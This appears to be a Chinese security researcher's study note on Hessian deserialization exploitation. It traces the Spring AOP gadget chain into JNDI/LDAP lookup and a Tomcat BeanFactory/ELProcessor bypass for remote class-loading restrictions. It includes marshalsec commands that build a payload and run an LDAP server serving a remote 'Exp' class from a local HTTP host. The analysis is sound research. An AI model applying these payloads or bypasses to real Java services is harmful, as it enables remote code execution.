看完Orange大佬的文章,发现知识盲区,赶紧学习一下
Hessian
一个基于http的RPC框架,轻量级的RMI,这里是Hessian的一些简单的配置和使用
环境搭建
先简单搭个环境
这里需要引入Hessian的包
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.38</version>
</dependency>
用marshalsec生成payload
D:\tools>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringPartiallyComparableAdvisorHolder ldap://127.0.0.1:1388/Exp > expxp2
同样这个payload也需要有依赖包
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.0.0.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.1.3.RELEASE</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.6.10</version>
</dependency>
ldap服务器开起来
D:\tools>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServe
r http://127.0.0.1:9998/#Exp 1388
Exp类的代码如下
SpringPartiallyComparableAdvisorHolder利用链分析
直接把刚才生成的payload放到HessianInput.readObject,触发断点。
读取第一个字节判断为Map类型,调用readMap
初始化Map的反序列化类
读取反序列化的数据并put进HashMap中
put的时候,当key的hash一样,但是是不同对象的时候,触发了key对象的equal函数,此时key和k都是HotSwappableTargetSource
触发HotSwappableTargetSource对象中target(XString)的equals函数
触发AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder的toString
进入AspectJPointcutAdvisor的getOrder函数
AbstractAspectAdvice->getOrder
BeanFactoryAspectInstanceFactory->getOrder
SimpleJndiBeanFactory->getType
SimpleJndiBeanFactory->doGetType
对传入的name参数,会调用isSingleton函数判断是否存在于shareableResources中,如果有的话进入SimpleJndiBeanFactory->doGetSingleton
第一次进入的时候singletonObjects是不会有对应的jndi对象的,所以进入else分支,触发lookup
到这里利用链其实可以算结束了,后面就是lookup的事情了。
JNDI注入
之前也没了解过lookup之后发生了什么,刚好现在跟一下。
首先进入InitialContext.lookup,根据name获取协议(ldap、rmi等),生成对应的上下文
然后这里我用的是ldap,所以进入了LdapURLContext的lookup
这里根据name参数构建了ldapCtx,然后进入ldapCtx的lookup
继续进入ldapCtx的p_lookup函数
ldapCtx->c_lookup
在c_lookup中进入DirectoryManager的getObjectInstance,这时候已经从我们的ldap服务器取到了classFactoryLocation:http://127.0.0.1:9998
最后调用getObjectFactoryFromReference,实例化对象,从而触发Exp的恶意代码
当然这里ldap能用是因为开头设置了trustURLCodebase
我的jdk是1.8.0_265,正常在这里是会被VersionHelper12拦住的,无法load远程class
所以只能用本地的class,但是要利用的话,上面这个触发点就不太行了,因为几乎没有实例化时可以执行命令的类。但是留意到在DirectoryManager->getObjectFactoryFromReference里面实例化之后,还会调用factory的getObjectInstance,那如果有那么个类有getObjectInstance方法且有敏感操作的话,就可以利用了
这里注意factory会被转成ObjectFactory,所以那个类需要继承ObjectFactory才行
有一个公开的可利用类是org.apache.naming.factory.BeanFactory,属于Tomcat的库,可以通过forceString方法强制指定setter函数并进行调用。
但是在准备调试的时候发现网上搜的代码都是利用rmi,没有ldap的。就感到很奇怪,于是做了一点尝试。
根据Obj类decodeReference的代码,forceString这些属性可以通过在Ldapserver中设置javaReferenceAddress来实现
于是改写了下marshalsec的LDAPRefServer
然后。。。就没有然后了。。因为obj是Reference,但需要obj是ResourceRef的实例才能进入对应分支,右边可以看到继承关系,如果是Reference继承ResourceRef的话就没问题
无意中google翻到了大佬的代码,原来javaSerializedData可以这样用的
直接运行,果然可以orz
顺便也跟一下,当javaSerializedData存在时,进入反序列化
readObject,所以return的是ResourceRef对象,在BeanFactory的getObjectInstance函数中就可以进入对应分支
获取我们输入的forceString属性(x=eval
),并从beanClass(javax.el.ELProcessor
)中获取参数为String.class
的eval
方法,放进forced中
从ResourceRef中获取我们的payload,再根据propName在刚才的forced中拿出eval方法执行,完成攻击
大佬的payload中还有其他的gadget,有兴趣的师傅可以调一下。
调试用的代码已经放到github,大佬们需要的话可以参考一下